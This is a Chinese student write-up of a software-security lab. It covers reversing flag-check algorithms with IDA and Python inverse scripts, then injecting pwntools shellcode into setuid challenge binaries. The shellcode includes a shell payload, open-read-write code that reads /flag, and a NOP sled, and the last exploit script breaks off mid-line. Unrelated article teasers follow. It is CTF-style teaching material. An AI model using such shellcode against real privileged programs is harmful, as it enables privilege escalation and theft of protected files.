软件安全学习课程实践3:软件漏洞利用实验

1 逆向分析

1.1.1 和 1.1.2 直接 F5 看 flag 就可以了,故略。
1.1.3 对输入用了算法变换,能看到flag,比如输入x,经过f处理成f(x)然后判断f(x)=y,现在要破解f的算法然后写个逆预算g(y)=x


这个代码看起来很抽象,因为 IDA 没有正确的恢复这里的变量结构。选中变量按“N”重命名,按“Y”更改类型

这里很明显是一个buf数组,IDA识别成两个变量,按Y修改为char buf[20]数组


flag是qoahcvzysugsbzjqhfw,交换一下buf[7]和buf[16]即可,即qoahcvzhsugsbzjqyfw

1.1.4 这是一个一个大一时就学过的简单算法
同理先修正变量类型,改为char数组


需要复制这个数据,按【Shift+E】快速复制


第一部分冒泡排序,升序。

第二部分前一半字符和后一半字符对换。

第三部分异或加密。

第四部分再次对换。

再次异或加密。现在要破解这个算法求逆运算,最终密文是:“0x1629DD1125D01D27D21F20D61A23D7073ECB013BCF0C35C00D34C20E”
POC如下:

hexdata = "1629DD1125D01D27D21F20D61A23D7073ECB013BCF0C35C00D34C20E"
arr = bytearray(bytes.fromhex(hexdata))
for ii in range(0, 28):
    v4 = ii % 3
    if ii % 3 == 2:
        arr[ii] ^= 0x93
    elif v4 <= 2:
        if v4:
            if v4 == 1:
                arr[ii] ^= 0x78
        else:
            arr[ii] ^= 0x90

for n in range(0, 14):
    tmp = arr[n]
    arr[n] = arr[27-n]
    arr[27-n] = tmp

for m in range(0, 28):
    v3 = m % 3
    if m % 3 == 2:
        arr[m] ^= 0x35
    elif v3 <= 2:
        if v3:
            if v3 == 1:
                arr[m] ^= 0x2B
        else:
            arr[m] ^= 0xE4

for n in range(0, 14):
    tmp = arr[n]
    arr[n] = arr[27-n]
    arr[27-n] = tmp

1.1.5 这是一个简单的算法逆向,如果你暂时解决不出来,可以先完成其他单元


同理先修复数据格式。

后面同理。POC如下:

hexdata = "002AD77CE7562239F56DC9490F25D976EC5D2A2FE378D2541339C46CF9483C26E970DB5B1B"
buf = bytearray(bytes.fromhex(hexdata))

for kk in range(0,18):
    v4 = buf[kk]
    buf[kk] = buf[36-kk]
    buf[36-kk] = v4
    
for jj in range(0,37):
    mark = jj % 6
    if mark == 0: buf[jj] ^= 0x52
    elif mark == 1: buf[jj] ^= 0x70
    elif mark == 2: buf[jj] ^= 0xB6
    elif mark == 3: buf[jj] ^= 0x4A
    elif mark == 4: buf[jj] ^= 0xA4
    else: buf[jj] ^= 0x0F

for ii in range(0,37):
    buf[ii] ^= 0x18
    
for k in range(37):
    v3 = k % 4
    if v3 == 3: buf[k] ^= 0x47
    elif v3 == 2: buf[k] ^= 0x11
    elif v3 == 1: buf[k] ^= 0x57
    else: buf[k] ^= 0x30

print(buf)

2 shellcode 注入

3.2.1 这是一个没有任何限制的 shellcode

Welcome to ./1-2-1!
This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every
execution, your shellcode will need to be *position-independent*.

Allocated 0x1000 bytes for shellcode on the stack at 0x7ffe115ecca0!
Reading 0x1000 bytes from stdin.

hacker@shellcode-1-2-1:/challenge$ checksec ./1-2-1
[*] '/challenge/1-2-1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

栈上可以直接执行

void *shellcode_mem;
size_t shellcode_size;

int main(int argc, char **argv, char **envp)
{
   
 
    uint8_t shellcode[0x1000];
    shellcode_mem = (void *)&shellcode;
    shellcode_size = read(0, shellcode_mem, 0x1000);
    assert(shellcode_size > 0);
    
    puts("Reading 0x1000 bytes from stdin.\n");
    shellcode_size = read(0, shellcode_mem, 0x1000);
    assert(shellcode_size > 0);

    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode_mem, shellcode_size);
    puts("");

    puts("Executing shellcode!\n");
    ((void(*)())shellcode_mem)();
}


这个程序带有 s 权限,注入 shellcode 可以获得 root
制作 shellcode 有多种方式,比如自己写一个C程序然后扒机器码,要么是基于 pwntools 的 shellcraft 模块。第二小节的作业需要学习 pwntools 工具。

原本写的POC如下:

from pwn import *
context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.sh())
p = process('./1-2-1')
p.sendline(shellcode)
p.recv()
p.interactive()


getshell 后发现权限不够,所以只能通过 shellcode 直接写一个 open-read-write 即 orw shellcode (就是直接借助宿主程序的s权限完成文件读操作然后输出)
这个可以参考 orw_shellcode_模板

EXP 如下:

from pwn import *
context(arch="amd64", os="linux")

p = process('/challenge/1-2-1')

sh=shellcraft.open('/flag')
sh+=shellcraft.read(3,'rsp',0x100)
sh+=shellcraft.write(1,'rsp',0x100)
sh=asm(sh)
p.sendline(sh)
p.interactive()

关于文件描述符补充信息如下:

【↓以下来自gpt4,内容请自行鉴别】
文件描述符(File Descriptor)是一个用于访问文件或输入/输出资源的非负整数。在类 Unix 操作系统中,文件描述符被用来访问和管理文件和其他类型的 I/O 资源,如管道和网络连接。文件描述符是一个抽象层,使得程序可以统一地处理各种类型的 I/O。
在 Unix 和类 Unix 系统中,有三个标准的文件描述符,它们有特定的用途:

  1. 文件描述符 0:标准输入(Standard Input,缩写为 stdin)。这通常是程序读取输入的地方,比如从键盘、文件或其他程序。
  2. 文件描述符 1:标准输出(Standard Output,缩写为 stdout)。这是程序输出数据的默认目的地,通常是终端(控制台)或者另一个程序。
  3. 文件描述符 2:标准错误(Standard Error,缩写为 stderr)。这是程序写入错误消息的地方。标准错误通常也输出到终端,但它可以被重定向到不同的地方,这样错误信息和标准输出就可以分开处理。
    除了这三个标准的文件描述符之外,当程序打开新的文件或创建管道和网络连接时,系统会分配新的文件描述符。这些文件描述符通常从 3 开始递增分配。例如:
  • 文件描述符 3:这通常是程序运行时打开的第一个文件或者创建的第一个管道/网络连接的文件描述符。

文件描述符是一个重要的概念,因为它们提供了一种统一的方法来处理不同类型的输入和输出。在编写涉及文件操作、管道通信或网络编程的程序时,理解和正确使用文件描述符非常关键。

这里的3表示是打开一个 file io,下面的1代表stdout,所以实现了读文件然后在命令行输出的功能

拿到 flag:

讲题 POC:

如果不加-p的话没有root权限

/bin/sh -p 中的 -p 参数用于在调用 shell 时保留调用者的环境。这意味着在使用 -p 选项启动 shell 时,某些环境变量(如 PATH)将不会被重置为它们的默认值,而是保持不变。这通常用于确保在脚本或命令行中调用的 shell 具有与原始用户环境相同的特权级别和环境设置。

其他做法:

3.2.2 nop sled 是一种常见的 shellcode 注入技巧

###
### Welcome to /challenge/1-2-2!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every
execution, your shellcode will need to be *position-independent*.

Allocated 0x1000 bytes for shellcode on the stack at 0x7ffc5a46e3a0!
Reading 0x1000 bytes from stdin.
int main(int argc, char **argv, char **envp)
{
   
    assert(argc > 0);

    for (int i = 3; i < 10000; i++) close(i);
    for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));
    for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));

    uint8_t shellcode[0x1000];
    shellcode_mem = (void *)&shellcode;

    puts("Reading 0x1000 bytes from stdin.\n");
    shellcode_size = read(0, shellcode_mem, 0x1000);
    assert(shellcode_size > 0);

    puts("Executing filter...\n");
    srand(time(NULL));
    int to_skip = (rand() % 0x700) + 0x100;
    shellcode_mem += to_skip;
    shellcode_size -= to_skip;

    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode_mem, shellcode_size);
    puts("");

    puts("Executing shellcode!\n");
    ((void(*)())shellcode_mem)();
}

因为shellcode地址加了一个小范围随机值,我们考虑用NOP填充超过这个随机区间即可,修改poc:

from pwn import *
context(arch="amd64", os="linux")

p = process('/challenge/1-2-2')


nop_sled = asm('nop') * 0x800
sh=shellcraft.open('/flag')
sh+=shellcraft.read(3,'rsp',0x100)
sh+=shellcraft.write(1,'rsp',0x100)
sh=asm(sh)
sh = nop_sled + sh
p.sendline(</

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/156188.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

出行类app如何提升广告变现收益?

出行类APP已经成为越来越多人们出行的首选&#xff0c;出行类app在变现方式上存在以下痛点&#xff1a;APP功能单一、使用场景单一&#xff1b;用户使用时间集中&#xff0c;粘性低...这些痛点使得开发者获取收益的提升面临极大的挑战。 https://www.shenshiads.com 如何让出…

物料堆垛无线测温解决方案

近年来物质电厂越来越多&#xff0c;生物质燃料垛的安全贮存对于整个生物质行业来说都是一个严峻的问题&#xff0c;测温工作在燃料垛防护中十分重要&#xff0c;测温工作到不到位对安全隐患的排除有直接关系&#xff0c;因此一个适合生物质燃料垛的测温仪器是必须的。现阶段生…

开源与闭源软件的辩论:对大模型技术发展的影响

目录 前言1 开源软件的优缺点1.1 开源软件的优点1.2 开源软件的缺点和挑战 2 闭源软件的优缺点2.1 闭源软件的优点2.2 闭源软件的缺点和挑战 3 大模型发展会走向哪一边结语 前言 近期&#xff0c;特斯拉CEO马斯克公开表示&#xff1a;OpenAI不该闭源&#xff0c;自家首款聊天机…

还能这样操作?勒索软件团伙向监管部门举报受害者!

ALPHV/BlackCat 勒索软件团伙将敲诈勒索提升到了一个新高度&#xff0c;该组织向美国证券交易委员会提交了一份投诉&#xff0c;指控其一名受害者未遵守“一旦遭遇网络攻击&#xff0c;需要在四天内披露”的有关规定。 早些时候&#xff0c;ALPHV/BlackCat 勒索软件团伙将软件公…

cocos2dx中,将png图片打包plist图集,使用什么工具呢?

cocos2dx中&#xff0c;将png图片打包plist图集&#xff0c;使用什么工具呢&#xff1f;小编这里推荐一款免费的图集打包工具&#xff0c;pngPackerGUI_V2.0&#xff0c;此软件是在pngpacker_V1.1软件基础之后&#xff0c;开发的界面化操作软件&#xff0c;方便不太懂命令行的小…

医疗项目的需求分析以及开发流程

一.项目的背景以及需求 1.项目背景 1.政策层面来看&#xff0c;近年来我国政府相关部门陆续颁发了支持数字医疗行业发展的相关政策&#xff0c;“互联网医疗”政策逐渐明确完善&#xff0c;为数字医疗行业发展提供支持&#xff0c;行业迎来政策福利期。 其次&#xff0c;从经济…

leetcode算法之前缀和

目录 1.DP34[模板]一维前缀和2.DP35[模板]二维前缀和3.寻找数组的中心下标4.除自身以外数组的乘积5.和为K的子数组6.和可被K整除的子数组7.连续数组8.矩阵区域和 1.DP34[模板]一维前缀和 一维前缀和 #include <iostream> #include <vector> using namespace std…

我对需求分析的理解

一、背景 最近做了一个项目&#xff0c;也算是踩坑过程&#xff0c;产品上线了&#xff0c;用户不怎么买单&#xff0c;使用者聊聊无几&#xff0c;前期一直不清楚为什么会这样&#xff0c;诚然新系统的开发设计上采用了更新的技术&#xff0c;设计上采用了更好的理念&#xf…

计算两个图形遮盖率

读取图像 首先&#xff0c;加载待处理的图像&#xff0c;可以使用图像处理库&#xff08;例如OpenCV&#xff09;来实现这一步。确保已加载正确的图像。 定义特定颜色范围 确定所需的特定颜色范围。这将是要检测的马赛克填充的颜色。需要指定颜色的下限值和上限值&#xff0c;通…

单片机语音芯片在工业控制中的应用优势

单片机语音芯片&#xff0c;这一智能化的代表产品&#xff0c;不仅在家庭和消费电子领域发挥着重要的作用&#xff0c;更为工业控制领域注入了新的活力。将单片机语音芯片与语音交互技术相结合&#xff0c;为工业设备的控制和监测提供了前所未有的解决方案。 首先&#xff0c;…

宏集干货 | 手把手教你通过CODESYS V3进行PLC编程(三)

来源&#xff1a;宏集科技 工业物联网 宏集干货 | 手把手教你通过CODESYS V3进行PLC编程&#xff08;三&#xff09; 教程背景 通过之前的教程&#xff0c;我们已经为大家演示了宏集MC-Prime控制器的连接、试运行和CODESYS的安装&#xff0c;并创建了一个计数器项目。在本期教…

法与智融合,拓世科技集团子公司教授加拓世团队培训大会圆满成功

2023年11月15日&#xff0c;拓世科技集团子公司北京教授加拓世团队抵达拓世集团总部&#xff0c;展开为期两天的参观学习活动&#xff0c;旨在深度挖掘人工智能技术在法律领域的潜力&#xff0c;为法学研究、法律服务行业快速实践数字化提供更加智能高效的支持。 拓世科技集团…

用护眼灯到底好不好?适合小学生用的五款护眼台灯推荐

如果不想家里的孩子年纪小小的就戴着眼镜&#xff0c;从小就容易近视&#xff0c;那么护眼灯的选择就非常重要了&#xff0c;但是市场上那么多品类&#xff0c;价格也参差不齐&#xff0c;到底怎么选呢&#xff1f;大家一定要看完本期内容。为大家推荐五款护眼台灯。 一、书客护…

适用于 Mac 的 10 款最佳数据恢复工具

对于依赖计算机处理重要文件&#xff08;无论是个人照片还是重要业务文档&#xff09;的任何人来说&#xff0c;数据丢失都可能是一场噩梦。 值得庆幸的是&#xff0c;有多种数据恢复工具专门用于Mac用户&#xff0c;可以帮助您恢复丢失或意外删除的文件。 在本文中&#xff0c…

开源软件 FFmpeg 生成模型使用图片数据集

本篇文章聊聊&#xff0c;成就了无数视频软件公司、无数在线视频网站、无数 CDN 云服务厂商的开源软件 ffmpeg。 分享下如何使用它将各种视频或电影文件&#xff0c;转换成上万张图片数据集、壁纸集合&#xff0c;来让下一篇文章中的模型程序“有米下锅”&#xff0c;这个方法…

2023最新最全【Python3.11.3】下载安装零基础教程【附安装包】

前言&#xff1a;链接在最底下 Python是一种可在多个平台上运行的计算机程序设计语言&#xff0c;它是一种高层次的脚本语言&#xff0c;结合了解释性、编译性、互动性和面向对象的特点。最初&#xff0c;它的设计目的是用于编写自动化脚本(shell)。但随着版本的更新和新功能的…

STM32H743 RTC精密数字校准 深度剖析

一、问题 项目中数据报文收到的RTC时间总是会慢一些,经过实际几天的测试得出结论:24小时要慢5S左右。根据手册我了解到可以有误差但不会差这么多,所以进行了如下分析并解决问题。 二、分析 1.影响RTC准确性的因素罗列 硬件基础误差(也就是待校准部分) …

JAVAEE初阶 操作系统

操作系统的相关知识 一.操作系统的定位二.操作系统的作用三.什么是进程/任务1.进程在系统中如何操作和管理 四.PCB中的核心属性1.pid2.内存指针3.文件描述符表 五.CPU1.cpu的特性:分时复发 六.PCB中进行调度的属性1.状态2.优先级3.记账信息 一.操作系统的定位 二.操作系统的作用…

开源 | 携程 Redis On Rocks 实践,节省 2/3 Redis成本

作者简介 patpatbear&#xff0c;携程软件技术专家&#xff0c;负责携程缓存内核的维护&#xff0c;热爱开源&#xff0c;专注于高性能、分布式NoSQL系统的建设和应用。 一、背景 redis使用内存作为存储介质&#xff0c;具有良好的性能和低延迟&#xff0c;但其内存容量通常成为…